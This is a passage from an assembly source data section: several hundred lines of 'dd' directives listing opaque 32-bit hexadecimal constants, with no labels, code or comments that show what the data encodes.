17535661h, 80140D35h, 0E1ED40C6h dd 0C559B930h, 5E5A4775h, 5D4B1990h, 3EC18C5Ch, 2AC1679Dh dd 0B367EFB8h, 2BCCF22Eh, 0B1958C70h, 0E45D3874h, 18A29518h dd 83151C3Ch, 0BB06BF22h, 0E7678BB2h, 0C15C5B6h, 0BE4F0B26h dd 7B3D6A0Bh, 5E6C4CC1h, 161A087Fh, 0C7E06794h, 0BA53A0BBh dd 0A49EF398h, 7A1C55F8h, 3617235Eh, 5478C60Fh, 0BBAE05C5h dd 0C458D254h, 1BB6A297h, 86C930FEh, 653E0C79h, 0E39E838Fh dd 57C3E460h, 6459BA31h, 398F3275h, 81549EB3h, 3C6DCE6Ah dd 0D3607564h, 0D226BD15h, 7325C574h, 1766ED59h, 0B7149E67h dd 86851206h, 3E3203B7h, 72E5164h, 0CC36FAC1h, 5D4EA05Eh dd 0F746975h, 0BADC9278h, 21AC296Dh, 32BCD5D9h, 95D8969Bh dd 0D63F74C7h, 34FCBA47h, 0E616315Fh, 84FE515Fh, 79CA3F16h dd 61417633h, 925C415Ch, 18215975h, 2DB26219h, 0DD83157Ch dd 0F18B5CEFh, 13B13AB5h, 0EF304C9Bh, 0A6DBA874h, 2FA159ECh dd 6228BADh, 0FCA3551Ch, 54ACA3A9h, 0A0A8E8AAh, 0A307AAF8h dd 0F699B4DBh, 0BB2B0A3Ah, 0A3993DDCh, 0D2CFAC05h, 2BB4A8CDh dd 6139F12h, 0A254E593h, 54D13F99h, 4CF46152h, 66E75D98h dd 0D16E0F26h, 0ADCD7E76h, 0BC852D8Ch, 0FFE074B9h, 1855E78Bh dd 56A19771h, 0B6CE984Ch, 2C6EABF4h, 0DB5906DDh, 715D2916h dd 647143E1h, 4C546DC0h, 42CC5F98h, 2D2E6473h, 0B7318FBEh dd 30996D79h, 7AAC1FFAh, 0CDBBE8C4h, 3FCEC686h, 0A8C4E312h dd 0C2A2FDFBh, 4F55A2BCh, 0C5D6F37Ch, 4B616A54h, 0B1AED359h dd 0BF9871DDh, 0DB6F56A8h, 53FA271Dh, 0A8307E61h, 0A859A943h dd 0F25C36CBh, 38A928ABh, 0D446A314h, 816336B2h, 0ACC98EF8h dd 0C282994Ah, 525CA2ECh, 0D399F399h, 64C8D1E9h, 4A2D43CEh dd 0F56CE29Bh, 0A2F2AE28h, 0A4B91B2Bh, 2A755A7Ch, 480D8087h dd 0AAE4E011h, 0C9B70686h, 0F1965601h, 0CFD33F4Dh, 9E568571h dd 911C51DFh, 0AC3657CAh, 9E7EFDD5h, 0BA849BA3h, 0BDC139F7h dd 0C7196A6Eh, 0A678D745h dd 8A2E1592h, 2EA1CCF5h, 99FF626h, 0DCC539B3h, 0E77A8F29h dd 2CD2BA3Bh, 1505CC50h, 0F2C2E16Fh, 611A2892h, 0A01B2CAh dd 0C267592Eh, 0BBEC0BA8h, 3FC69535h, 57715772h, 90B4DB94h dd 0BD27F541h, 0A49FDE8Bh, 0D5AE3511h, 0AA090015h, 1772A1D7h dd 0AD3C63C1h, 9456E0C6h, 84CF7A41h, 0D17D15F1h, 98CE98C1h dd 9E5F98D5h, 98C0E62Fh, 334B4151h, 3FE8D9E2h, 0F3361A9Bh dd 99EC266h, 0B5999EE3h, 5C5F2CEDh, 6BE24945h, 2C1CDECh dd 63CA9DCh, 0DEC65443h, 56581FC7h, 0E8C126A5h, 5B82CCD2h dd 3C95E695h, 1CEE8DAFh, 30817349h, 0B2585DEh, 5A71BA11h dd 957E9D3Ah, 1B0A6B35h, 45E57F12h, 3B156011h, 0B75D0805h dd 90B9E6CAh, 900A2BC3h, 0D5987656h, 7D6B774Ah, 0AE1880FCh dd 4913F951h, 61EB289Dh, 7A38E84h, 0A45242A9h, 0B840192h dd 2C29301Eh, 920BC66Bh, 0A24C345Bh, 9320C00h, 1E4089A0h dd 36C8551h, 52713A03h, 57E6A883h, 0FC0F002Ch, 0D4028765h dd 0C87D39CCh, 8A14C925h, 4C78171Ch, 428D1DCAh, 593A359h dd 0F4E9B35Ch, 0CE4B01D2h, 74701656h, 528D52EFh, 1B2E241Dh dd 0AFB1E340h, 0A8D06404h, 0C05748A2h, 99F5E1D1h, 82C6D050h dd 9160ACCFh, 0DEB31AB3h, 0A304506Ch, 0AB023018h, 0A96621CBh dd 67309281h, 8E9A22C0h, 97EA815Dh, 5719B74Bh, 6603F59Ch dd 0D050D950h, 16D611F9h, 0CAC110EEh, 0E2BD0339h, 61A09DC7h dd 0DCC71F7Eh, 525C2352h, 16F6D394h, 539FAC97h, 7D360416h dd 1146E05Ah, 0F6DED161h, 79984011h, 9E631AE7h, 361CABE8h dd 6C65158Ah, 790C2AC7h, 0C5895F45h, 0C5C783D4h, 5FA40518h dd 0DD39220Ch, 89765840h, 11CB4180h, 5D98D36Bh, 4FC9C03Ch dd 9186082Eh, 1CCB601h, 0C68E0727h, 0A8B26251h, 0C554BD2h dd 98EC3302h, 9808DB9Eh, 0E54A4345h, 72B84B63h, 38F68065h dd 9CC03011h, 0D0F56325h, 847E4232h, 80C1A980h, 11807691h dd 91187C7Bh, 211C463h, 4603D0E6h, 0B198F9DEh, 0BB1007C7h dd 60210C4Bh, 8C031D6Dh, 0E1181FA0h, 63B12578h, 9E64081Dh dd 678B00C9h, 6B6B6020h, 3B5C19BCh, 98280113h, 1DAB1064h dd 355A9945h, 8DE47E04h, 98D16200h, 0C9EB799Bh, 0D66E750Ch dd 73C6BDD1h, 549E994Ch, 6BFC0C3Ch, 0ECC10B6Bh, 0AC44A178h dd 58BCA78Bh, 0A3EEA8A1h, 2E75C186h, 51BC6D9Dh, 0CF17A984h dd 5986F983h, 0D1D47021h, 8FDAD460h, 0D63861C7h, 235C1F27h dd 8C62BBDAh, 0C233177Bh, 0CBB9CBBDh, 115E0A9Bh, 0BF312033h dd 71B3068h, 0FF8EF7A3h, 0B8BACB81h, 0EFD3F8EAh, 5B4C9F78h dd 70C06B85h, 6F98604Dh, 5A86D95Dh, 0E5D867A9h, 0EAA2BB0Ch dd 0E8C1CBA3h, 738B0C8h, 0C34BE2A3h, 0E895BBC1h, 181797D8h dd 0E1D186D5h, 0ECB4636Bh, 124E30A1h, 0E3145CA8h, 18FC210Bh dd 0FB861F8Bh, 227AC28Ch, 8BCE42CCh, 5922B78h, 3F18A391h dd 854A85A6h, 6021D011h, 0AC04B8B8h, 0D82858EDh, 60722591h dd 18084027h, 7B44B35Bh, 22B38305h, 227EE54Ch, 81579B60h dd 8089DB20h, 32B8FD1h, 0D2C2AA04h, 22CA85AEh, 940433Dh dd 0E16E9C54h, 5108476h, 298E6020h, 42AC7255h, 0CD185128h dd 63B0425h, 290DBA8Ah, 2146F620h, 7DB7CC2Ah, 94660211h dd 5A0A4650h, 14520211h, 4DD3943Eh, 6B8B9C71h, 757E1810h dd 0BAAE0109h, 3196D25h, 0C1620826h, 108AFB44h, 0D1DDB930h dd 9FA32940h, 2B531870h, 0AA718C03h, 45180108h, 1EC79806h dd 54D0846h, 2DAA7314h, 38264D61h, 387A631h, 621BB298h dd 5B336CCAh, 8173EE2h, 2608A8CCh, 25CB72B6h, 24544604h dd 0A6482D81h, 0F7AEC6Ah, 4B05CC06h, 0B22E4C09h, 0C0600966h dd 0E302856Ch, 0F28B9C2h, 30200CEFh, 59ECC0E6h, 4CC43751h dd 0E8846C04h, 3D9706D7h, 940F5428h, 2FF4734Ch, 413CB697h dd 0A4D8A980h, 91C1A2BAh, 7FA54F97h, 2BBD8281h, 0A2B78C12h dd 0D12BA19Dh, 224A43A6h, 0CCFCAEFDh, 4ECFC32Ah, 0CC082CACh dd 831EA6C0h, 0A3122116h, 0A33E03E6h, 0D552D8D4h, 6065711h dd 2265366h, 8FD14BC6h, 12A8D782h, 40E6B02h, 8D5C234Ch dd 0AC05E58Ch, 89D625CDh, 9D808E33h, 9981299Dh, 27C480B1h dd 3BC9860Ah, 323B602h, 3814314Bh, 551926D4h, 0CE450536h dd 17E393A2h, 98D09605h, 0A8089E7Eh, 6A9850C1h, 0FA10EDEAh dd 3AD86939h, 8E96C6A4h, 0A164D4E3h, 2A95C2ECh, 0D586B06Ch dd 298FB065h, 5F451515h, 0C650E0BAh, 3E8B5260h, 19694066h dd 95E3BB5Fh, 926062F3h, 0E959726Eh, 81A94232h, 0DB312301h dd 195D9DCAh, 422228Fh, 0C0401894h, 0DCDA088h, 0A26856C8h dd 8048AE35h, 0CB4FB239h, 8A2FC2Eh, 0F0798B5h, 0D154E959h dd 31826F35h, 5500D693h, 0B7BD494Ch, 1224809Bh, 0FA4031C7h dd 2302126Ah, 330548BEh, 26B4FB33h, 14540963h, 502034CCh dd 8A02303Ah, 9B0150AAh, 0B30970Bh, 0AA13A342h, 0B2073931h dd 9A296E6Eh, 38EDF375h, 716B2640h, 78A26C96h, 2DC0A838h dd 225DD52Bh, 0E0C428C2h, 68954406h, 0D6620E55h, 18D70902h dd 4B5E8B71h, 98288731h, 0CD2749DBh, 33052A66h, 908F7Fh dd 51150827h, 461EC697h, 91195C2Bh, 0D8D11460h, 289E1B96h dd 5B888C18h, 412DBE5Eh, 0C67F7463h, 0D83B8038h, 3A662EF6h dd 0DA042B0Ah, 0CF94D041h, 7287D190h, 7D462A10h, 183105DAh dd 908E0786h, 767B8151h, 368B627Ah, 4230A9A3h, 41693FDDh dd 0B260593Bh, 8A253460h, 488A5126h, 2EC31B30h, 0C62A2F8Ah dd 65608DAh, 39CCCE94h, 0A94146A0h, 5278F055h, 2E7FA706h dd 5214C522h, 0B68B9E22h, 8983243h, 995294A0h, 1C9A6108h dd 2B424358h, 40E47963h, 0B2003865h, 8AEE2B25h, 0EA0094B4h dd 6D8B688Ch, 0B50D82ADh, 0D17D9267h, 0B15E7DA6h, 0BB15AA76h dd 10457D9h, 0B2A34F8Fh, 0CE95DAE4h, 3258089Fh, 9F2F872Fh dd 8C22BE8Fh, 0CAAA3A0Eh, 0DF2278A9h, 86A30A93h, 0C30FA8C6h dd 0E914AA1Dh, 108AAA50h, 640C1AA3h, 8AC9E3BAh, 35CCF03Dh dd 8E6E8A32h, 0FBEC288Ch, 39018A95h, 3F47F8D8h, 2F0DA81Bh dd 0AB6E0293h, 8831901Bh, 22AE8CBEh, 19206A7Ah, 322CCBBCh dd 8FD9BAAFh, 5458C1E2h, 88B0E953h, 5904303Fh, 4EF12286h dd 71D5DD99h, 7F94D532h, 3E6E334Ch, 0AA6E8499h, 763E8FE3h dd 64CEC8E8h, 7124CCE4h, 0A3C46A4Dh, 147C457Dh, 5C535C54h dd 4571BB3Ch, 6234D189h, 11F88935h, 319AB613h, 40AA8CE0h dd 0E3603FD1h, 599436E2h, 180DB2E3h, 0E223F668h, 130BD99Fh dd 0B83D802h, 0D004AA1Ch, 65122366h, 784A7489h, 712AC425h dd 4A6D895h, 128A8254h, 4BE90949h, 0D8972504h, 0A25C6F43h dd 89DA812Eh, 96544B6h, 89D784B4h, 227513B0h, 425344EBh dd 949512Ah, 2508C4A6h, 6E43128Ch, 912E4BF9h, 84B7E097h dd 12CEC25Ch, 4B10096Ah, 2B622594h, 0AA8995F1h, 0A7095604h dd 8E255213h, 8974A12h, 99E4104Ah, 96F1D2DAh, 76914BA0h dd 58042D82h, 5A122CA2h, 4C4AAE89h, 0B129AE25h, 44A08094h dd 2D880251h, 0EC25897Eh, 88967A12h, 625ACC4Bh, 963E12Dh dd 245104B3h, 55C412BEh, 50122B22h, 4912AA09h, 44B9827h dd 43D88A25h, 2E82F16Bh, 0B7099771h, 0CE255C44h, 0F0956B12h dd 255904Ah, 894FC12Bh, 252004A8h, 55841298h, 5F8B4A28h dd 8011C0AAh, 0C84B521Eh, 0C12DEC25h, 44B17896h, 12B80259h dd 4AA80960h, 29C22564h dd 0A3899521h, 22975284h, 87A14412h, 5D44D2D2h, 6D122F02h dd 944BB889h, 0D12BD225h, 4A80895h, 12944255h, 4A18094Dh dd 0D0872518h, 225D97F2h, 8970C12Fh, 25A084B9h, 960112D8h dd 56044B18h, 53122BA2h, 344AAA89h, 5122A025h, 2CE85094h dd 0EE25297Dh, 88967A12h, 625AD04Bh, 962E12Dh, 256C04B2h dd 953112BEh, 53044AB0h, 45122A02h, 0FCB3A409h, 4BC88425h dd 2E6221F0h, 0B6099761h, 0CA255BC4h, 0F0956912h, 0B095844Ah dd 253A13Ah, 945312Ah, 25F804A4h, 0EC4B1284h, 512EB2A1h dd 0C4B6C097h, 12CC425Bh, 4B000969h, 2B42258Ch, 0AA0995D1h dd 942555C4h, 20914F12h, 16441C4Ah, 6C1214BDh, 884A3989h dd 0A12AD025h, 0C4A8F095h, 1292E254h, 4A08094Ch, 0C6872514h dd 0C25C97C2h, 9DB912Eh, 8966C4B8h, 257C44B4h, 958112C6h dd 54444AE0h, 0D2842A82h, 4412A689h, 0F8B1A309h, 4BA88225h dd 2DE221E4h, 0B4899721h, 0C6255B04h, 0E8956612h, 0A254804Ah dd 894C912Ah, 251884A7h, 91141292h, 143C4A18h, 12E6BE96h dd 4B588976h, 2CA225BCh, 0AE899681h, 0AE255844h, 80945A12h dd 42504C4Ah, 1604C129h, 7612C4BFh, 0B04B3D09h, 612CE625h dd 4AE4896h, 12AE6258h, 4A80895Ah, 29022550h, 0A10994C1h dd 0E87B5144h, 25C87F2Bh, 96B112EAh, 59444B70h, 5F122D02h dd 484AB109h, 6128AC25h, 8AF25894h, 0BB89425Fh, 0E0251EC4h dd 50967412h, 6257B04Bh, 8959612Ch, 8952C4AEh, 253013AAh dd 9441129Eh, 5F8A4A40h, 84BB2822h, 12E0EA1Eh, 12CA0973h dd 4AF8276Bh, 2B222588h, 0A88995C1h, 94255544h, 8974E12h dd 8791144Ah, 5C44D2B8h, 69122EA2h, 8C4BB689h, 0C12BCC25h dd 84AA0095h, 12982255h, 4A280950h, 2FC52520h, 625D9411h dd 96E6D0Fh, 259C84B9h, 960112D4h, 56844B20h, 51122BA2h dd 184AAB09h, 0F2B49625h, 2F221897h, 0B98987C1h, 0D8255D84h dd 30966F12h, 0C257A44Bh, 8956312Bh, 254004ACh, 949112A6h dd 50844A68h, 943E28C2h, 12EABF95h, 4B680979h, 2CC225C4h dd 0AF8996A1h, 0B0255884h, 90955B12h, 0A252544Ah, 89440129h dd 25F884A3h, 0EC4B1282h, 612EAC21h, 4B6C897h, 12C0625Ch dd 4AD00967h, 2A622578h, 0A6899581h, 92255444h, 18914B12h dd 9574184Ah, 781214BEh, 0C84B3D89h, 0B12DEA25h, 44B17096h dd 12B60259h, 4AB0095Fh, 29E22564h, 0A4099521h, 84255304h dd 21EC4612h, 96F1F8ABh, 5A044BC0h, 62122D62h, 6C4AB289h dd 512ABC25h, 0C4A6C095h, 12904253h, 4A18094Ah, 0BE952518h dd 9779114h, 25C4543Dh, 96A112E8h, 58C44B70h, 5C122CE2h dd 544AB009h, 0F129B025h, 4A29094h, 84BF6252h, 3D8989D0h dd 0EA259544h, 70967812h, 259C84Bh, 95FB12Dh, 255044B1h dd 94C112B6h, 51844A80h, 114B2922h, 43C0A189h, 2E42E953h dd 0B5099751h, 0C8255B84h, 0E8956712h, 0A254844Ah, 894B912Ah dd 251044A7h, 97D21290h, 0A12E4A08h, 44B6A487h, 12CEA25Ch dd 4B00896Ah, 2B22258Ch, 0A90995D1h, 96255584h, 20914E12h dd 1514204Ah, 741214BEh, 0B04B3C09h, 512CE025h, 4AE4096h dd 12AE4258h, 4A80895Ah, 28C2254Ch, 0BF1594A1h, 897750C4h dd 25C0043Dh, 96A112E6h, 58844B68h, 5A122CC2h, 512AAE89h dd 44A5AE24h, 12882253h, 4BE90947h, 0D0972504h, 4CC44F43h dd 6B34612Bh, 747A95CAh, 0A870B713h, 0A5923AD2h, 0D2378C06h dd 0B93664Dh, 4558C604h, 0D650178h, 0BCB1518h, 80625419h dd 60AA455h, 536D1A2Ch, 0C541A334h, 0B112F6EAh, 0E80F8344h dd 0E4385F3Eh, 0C019EA0Bh, 58EE2A54h, 0E79E5B4Dh, 9057D624h dd 83560C60h, 0CA1CBF32h, 4696A2AFh, 0F4FAC22Dh, 0A4BAD068h dd 262A113Ah, 4D2A8B58h, 0A5D5548Ah, 0A6C08343h, 0C0A0072h dd 81D8915Fh, 64988535h, 8D030CA8h, 3E9C18C1h, 4C273AD5h dd 0A1015E83h, 0F4C5260h, 98B040Fh, 0FAA5A6D3h, 3EA40411h dd 6150549Dh, 3C006E0h, 303CA997h, 50A9F098h, 0D988105h dd 0D32953D8h, 74E6DE28h, 0AF598133h, 0FAB0712h, 946A7081h dd 8685BC12h, 379A4963h, 23169090h, 90C610CAh, 3068AA01h dd 151C1BA9h, 281AD53Ah, 94601058h, 1573300Dh, 180CCC03h dd 8816A98h, 86A55518h, 429C4183h, 7409D546h, 1864C078h dd 3B531856h, 0E4A04040h, 0B6D9A5B1h, 0A30221BBh, 28C318Eh dd 400008C1h, 0D62C1868h, 319C6288h, 0B020C087h, 669361E7h dd 32AAA34Ch, 18E060Bh, 170A309Dh, 667E6E0Bh, 0E140106h dd 43CC3966h, 0C162009Dh, 5C46083Ch, 0EE791311h, 500C0738h dd 65ED6D34h, 63B15860h, 4D565AD6h, 8955E622h, 0B70B0A19h dd 989B80C6h, 0CB34571Dh, 73166181h, 67E996AEh, 6A3E8F64h dd 63E6B342h, 6B9BE38Ch, 736AB09Bh, 0CAF2C62Fh, 61C5C064h dd 9C196B30h, 4C00F099h, 0CEEFC18h, 739C34Fh, 598371B6h dd 98AE97E3h, 1C6B8854h, 384B31D8h, 0F36E9620h, 309A3134h dd 46470FB0h, 87C8C799h, 0B7982B01h, 10C310D9h, 618D850h dd 4D82C0E3h, 6635CD9Ch, 65BDC4CDh, 36D56031h, 69994031h dd 0E8088230h, 59AD0C89h, 18312CE3h, 0C4603DE0h, 97694E17h dd 3D60E10Eh, 665508B6h, 638AC519h, 383B8586h, 0DDB2B460h dd 771BA0C7h, 34D8C164h, 0ED185C25h, 31B318B0h, 80D65D40h dd 261E45B3h, 704CC091h, 10EC19A0h, 6C8C2CD8h, 3F919D26h dd 0B2CDDC46h, 0B589B7E9h, 188E01C6h, 0A6E190EBh, 62256331h dd 66ADD028h, 61F36031h, 30EC4032h, 18B330D8h, 84C2655h dd 1831098Ch, 3C0C870h, 0E8A00636h, 639A60D6h, 0C1A28980h dd 6867D7ECh, 82B96AEAh, 0DC17B052h, 0F0198FA4h, 1D6A36E2h dd 26A1B063h, 0AD62ACC2h, 6AF048B1h, 16CA79ADh, 94281830h dd 1AA14F80h, 484665F3h, 0CD81ACA6h, 9C8D97D2h, 98E90B29h dd 0CED48109h, 405881C9h, 0CD37CC50h, 0F2493670h, 1C419785h dd 518184C3h, 0C31CB60Eh, 0B0300981h, 39766E09h, 730998D8h dd 91DCAC06h, 34C08C5Ch, 0ADCE9C4Dh, 665C20B2h, 872C2EC0h dd 4C3CDC22h, 627D83Ch, 2606D605h, 4C574602h, 6B54338h dd 500CAC06h, 0D80D5AADh, 60634F2h, 2C374603h, 94F939B3h dd 624CB24Dh, 16680C6h, 719CD6Bh, 100D0406h, 35A1DF83h dd 0C546C0C3h, 0F1A8580h, 0E19D8434h, 4D05CC46h, 9CB7635h dd 74809E8h, 696633B3h, 1BDA1A82h, 0E027CAB8h, 8A824EE0h dd 44D890CFh, 81002206h, 0C1408059h, 129AB23Ch, 0A32A248Dh dd 84C04A3Ah, 28EABCC0h, 9ACFE263h, 66F5F076h, 578067DCh dd 7C326518h, 7ED2C18Eh, 0A30C4B1Fh, 1A4DC6C0h, 6168C08h dd 39A534A8h, 0C1236C7Ah, 0A0529D8Eh, 0D931D30h, 0C6CA1DDh dd 85942498h, 43CF259h, 0D80C3156h, 580C36B6h, 834C5A46h dd 33041441h, 32450626h, 0E3641155h, 0C7700EE7h, 50EEB0D8h dd 530B5A98h, 0B0706B12h, 5399B018h, 0F08C1964h, 0A3E02A35h dd 0C0C41652h, 93144136h, 1A375730h, 0A0C1B294h, 280AE980h dd 3E0E258Eh, 326C0BC3h, 3D981E61h, 0EDCC36DFh, 6A74290Ch dd 1F3C8618h, 0D6C101F5h, 8016070h, 2C14CD67h, 63A04CC6h dd 0C38C6F00h, 26402CCDh, 8F28080Ch, 0D62A6192h, 806822F1h dd 0BA4C1464h, 922801C3h, 6AF09F0Ch, 34F0062Dh, 88C0132Ch dd 82C01930h, 8E3062C8h, 282D619Ah, 63701161h, 0D5C02C6Dh dd 0B163CE52h, 0F1CD3262h dd 3021B904h, 5498E76Ah, 0D2D598C6h, 0C998003Fh, 80812D88h dd 8DB2C903h, 70069C95h, 430178C0h, 47302A4Eh, 0F21C808h dd 0D4514133h, 0BA598106h, 8E0EE218h, 2B308109h, 0C7D53ACDh dd 0C8EE9112h, 461C12Ah, 403C34CEh, 144EE2ACh, 9A8C086Ch dd 8ED5FDE0h, 66C00E29h, 0B2D6280h, 0D16CC06h, 0C9B2E67Bh dd 4C1E1E9Eh, 9804A9D8h, 0A587379h, 0AEC51AD7h, 0DF5F2871h dd 82048146h, 0C6682739h, 53593AC0h, 2B280043h, 5476A2BBh dd 0C60A06E7h, 0C325E6BAh, 8F7E11A2h, 284B9501h, 980C3AD2h dd 18256581h, 82F018E9h, 0E58743ADh, 0E6F71934h, 70A59810h dd 63A145Dh, 3C054656h, 242F65A3h, 0C422C30h, 0C8C19808h dd 0CEA84A8Ch, 0C163C72Eh, 0B9A6C7DCh, 0C3AD989Ah, 65A1824h dd 664E37A8h, 31428C0Ch, 0A9CCD078h, 0D6026331h, 80C8740Ch dd 848F2859h, 0D04ADE12h, 8D300182h, 0B6583071h, 0B918065Ah dd 10B11098h, 0A32C81D0h, 0A040C36h, 6031A82Ch, 980CD832h dd 9015514Bh, 0A4F34B35h, 0E3870289h, 867E5161h, 0E337771Dh dd 83630403h, 66ACA4C0h, 0F5E26BADh, 0AECB086Ch, 91C3C00Dh dd 48A05701h, 128BC8B6h, 5BE30E23h, 0C45316CEh, 0BE1BE030h dd 6191B58h, 6C090ED8h, 0DF2C252Ch, 3AB992B7h, 56ADC0E4h dd 311484B2h, 701DF810h, 6B86D534h, 0B7471603h, 2CB3041Eh dd 59278FEAh, 2CBDAC08h, 6296D3CBh, 6DC0FB7Bh, 58123696h dd 7255F029h, 0C1D629A7h, 0C18E8E0Eh, 3C08D760h, 0B8C0ACB9h dd 0DD6F6CAEh, 44988186h, 3F031D5Ah, 58750C66h, 0B3D64A74h dd 44549467h, 60612658h, 5B3D529Eh, 0C3269815h, 0B8186315h dd 3F1616C4h, 41D4140h, 184DEE94h, 146C00E0h, 6A47A6CBh dd 0A6CEE8D2h, 70ED8E89h, 0A8A42613h, 3C2C9DAFh, 2ACF9228h dd 0FF5A080Ah, 6B290210h, 0EDE03058h, 5071930Dh, 3074181Bh dd 1844500Ch, 0D63A98E5h, 64B0E595h, 1676C086h, 6E9E686Ah dd 1353868Eh, 3580760Eh, 26D35B13h, 26DCC6D2h, 0C43FC68Ah dd 5862674Dh, 16704041h, 54AE9418h, 32CCEE36h, 686978EBh dd 0F019C0E7h, 4CB6A9EBh, 403503A9h, 0CC6C0731h, 5099810h dd 4160D6F5h, 0B0DFE166h, 28D251B4h, 8900D4D7h, 14B2D851h dd 3E1A040h, 40406103h, 590DC5E3h, 0E1C80306h, 168BF71Ah dd 0A96BDC28h, 0FC1073E6h, 9393AE0h, 9BCE8B76h, 2A5C9931h dd 580C0306h, 57357166h, 52654213h, 59FA80CCh, 34D85054h dd 0E7DC3273h, 32D4C62h, 8D511154h, 0B1AE0D9Ch, 9145F2ADh dd 0CB97B260h, 0AF652DF9h, 13668105h, 88D51F51h, 0CD441011h dd 11C280C5h, 41D3CF64h, 1054E75Ch, 39883138h, 0D86D3E34h dd 0D9FCC643h, 49B3163Ch, 5804982h, 0C66DC19Dh, 58C2C586h dd 3052063h, 0C760C0h, 9D453295h, 2C703355h, 62D314D7h dd 0D2811A3Dh, 698080C0h, 0A0B04788h, 21B3CC27h, 211E0E0h dd 9C38FCB3h, 56B4E605h, 36DCF03Ch, 3DB210A0h, 31015818h dd 0D4BCC286h, 99A68298h, 58EEDFE2h, 9D89DBD1h, 85B3AD85h dd 0D301273Ch, 0A98945A0h, 2849A875h, 604180CCh, 7D2CC54Dh dd 5810008Ch, 180C9604h, 0C0FB71F5h, 0D7D4653Dh, 0E140C21h dd 9C36F8A6h, 40CC902h, 1931DA54h, 0C54CF6h, 0C6C9B4B5h dd 438A44A8h, 0C062C760h, 678E36B5h, 0A8C04963h, 3C8DA4D8h dd 18926584h, 14E24E60h, 0D2C60F3h, 865CD403h, 0D85C665Fh dd 806278EAh, 0A020A7B9h, 699BA06Bh, 0E0B0AC7Ch, 0CC529EE5h dd 92741812h, 8CA4A2E6h, 80343A06h, 234638F0h, 619E0A3h dd 50AEA9D6h, 11D69183h, 23EC6309h, 66A2684Dh, 20632440h dd 6959E6A0h, 680A6BB4h, 0CA01B982h, 52CE2F3Bh, 0CD00839Ah dd 646638DCh, 0E020E72Ch, 0C7543108h, 405B0C0h, 83842136h dd 65861349h, 279D0D86h, 33490E14h, 642D907Fh, 4D0C810Ch dd 2580C661h, 0D0FE9514h, 18C1194h, 0A01886A3h, 8B1FF27Eh dd 342B9EDh, 8060E02h, 0A19630Ah, 71622A44h, 53655306h dd 259694C4h, 3078E030h, 3AF2A450h, 59391AC3h, 0C0A2E267h dd 0C2A8E238h, 0E3863021h, 540AA478h, 2C45CBC7h, 80C15E07h dd 35E11A65h, 414CB3D3h, 580BC62h, 0B9E047B5h, 0B245C141h dd 0B2D9415Ah, 2CA415C5h, 0CD63E209h, 0A0D96318h, 0F2D86CF5h dd 83936A27h, 0AE5BC380h, 0A5959F5Bh, 0B02840ADh, 0F1668951h dd 31357161h, 8A030713h, 36AB431h, 1A38459Bh, 5D7C0300h dd 76892F0Bh, 31B50807h, 54031460h, 72D2968Bh, 0C1C0258Ch dd 6690C16Ah, 0A2D951CCh, 430138C0h, 0AA664B63h, 361D8CA6h dd 498EE930h, 7D05C136h, 0C1E514h, 60300745h, 0DE07C2A1h dd 5917C126h, 34141DD2h, 58A9500Ch, 0BC5260D6h, 9AC4458Dh dd 66905D34h, 3109E031h, 0B335CC60h, 0CB01B378h, 0C0C9320h dd 98CE8EABh, 2D88CC7Dh, 0A80643D9h, 7E0A0D09h, 0F1E6182Ah dd 10E11D5Ah, 6E1C041Bh, 0A0145D66h, 6E310416h, 6E653A71h dd 8B3063B8h, 4A2C537Eh, 6B82038h, 0ED18080Dh, 109875CCh dd 2CD52C50h, 0AD962CECh, 8C6821A1h, 0A0A00323h, 50E128CAh dd 0F5809332h, 0A54CD79Dh, 0F55BC542h, 30C482C7h, 50EE24E0h dd 3A805018h, 0B334BAD4h, 663D61A8h, 74D9B018h, 3781F2A8h dd 0FE91E59Bh, 0C2D30954h, 500C8106h, 261D7A51h, 0FA7914BCh dd 0E556254Ah, 4541C046h, 17E5716Eh, 0C04F01C7h, 46AA80C5h dd 35161407h, 73CD8C36h, 0E030C7C2h, 63B818B2h, 6A116D75h dd 0CD712A6Eh, 0C70C6D3h, 0CE546250h, 7CB651E6h, 5A7030Ch dd 0C8E50633h, 0BEA64580h, 8F229D86h, 45D116CAh, 5188C0Ah dd 4C065184h, 98BB18E2h, 44983692h, 0ADB51953h, 5B637843h dd 8C0ADBEFh, 465C9E1Ah, 78064C26h, 4548796h, 435D184h dd 50D105Eh, 332146ECh, 30D85604h, 1D368E47h, 3060CECh dd 6909416h, 8AFC4E06h, 29F6ED6Bh, 0E30C547h, 19CAA34Dh dd 9CC02031h, 0F80C481h, 2F72E736h, 20A07E06h, 5B5DFC06h dd 7BEEC870h, 1064828Ch, 51443255h, 0B681ADC3h, 1B5070B6h dd 0B86AF603h, 70201E4Ah, 84D98D3Fh, 0B69E2884h, 4E9A2070h dd 63B586BBh, 78101651h, 3059988Ch, 8205B21Bh, 46038101h dd 0CE271E16h, 0C5236526h, 0D1829BA6h, 84D598C3h, 53C7B03Fh dd 519521F1h, 51C51B08h, 0CD81D1BAh, 9925A300h, 313498EEh dd 8D5D3C4Dh, 82C9E2Eh, 18B02CCh, 8F62CB27h, 48F72C2h dd 0C74ED89Ah, 0D669B511h, 0C5866338h, 5E1A88A2h, 52173D9h dd 6034F5E5h, 8955E15Ch, 95C00315h, 8C5F81C9h, 5365D301h dd 0AE334357h, 20B8288h, 0B05C269Bh, 9FCC22C8h, 40B2A020h dd 30C22AB7h, 0E64BAAC4h, 35BE4A29h, 0ECE12221h, 838EBEC3h dd 1885F76Ch, 0F050AD55h, 0AC6E735Bh, 50361070h, 0CED209B0h dd 0C6800D8Ah, 5616C062h, 75C91896h, 0BF26CC08h, 917B4D9h dd 396C5992h, 2A225704h, 0CE96FF42h, 3E93F582h, 88220186h dd 61691E03h, 305BC080h, 0EB981540h, 0C0636858h, 0E20B5996h dd 193175Bh, 9B08B080h, 80C01A85h, 68C70CC0h, 0C2F8E630h dd 31B51E4Dh, 4DD1CC14h, 61E21E9h, 79146604h, 39E02030h dd 40C74607h, 0B4C10340h, 0D9C6D73Fh, 0C32C6231h, 8DEA19EFh dd 0D3E07E8Ah, 18FAC164h, 62D2A9A1h, 5ACC4C08h, 5EBEE2D8h dd 87743186h, 962D2309h, 9609EC6Ch, 5DB878EEh, 1C65FC96h dd 1D8BEB1Eh, 3A899463h, 49895515h, 96CA113h, 41B38581h dd 0D4031A60h, 0D1CB14DAh dd 40C151Ah, 2C9D8D66h, 14034617h, 26A836ABh, 613801A4h dd 3A22464Dh, 2CD30A6Ch, 6618A6C2h, 0A5B32C08h, 580C7143h dd 18D41934h, 7D411A6Bh, 58F75B13h, 9309D4C6h, 32833255h dd 0C5038C8Ch, 0CA819010h, 361A8C47h, 0E3014728h, 0EF372A46h dd 29988D1h, 1C5C30B3h, 2A757269h, 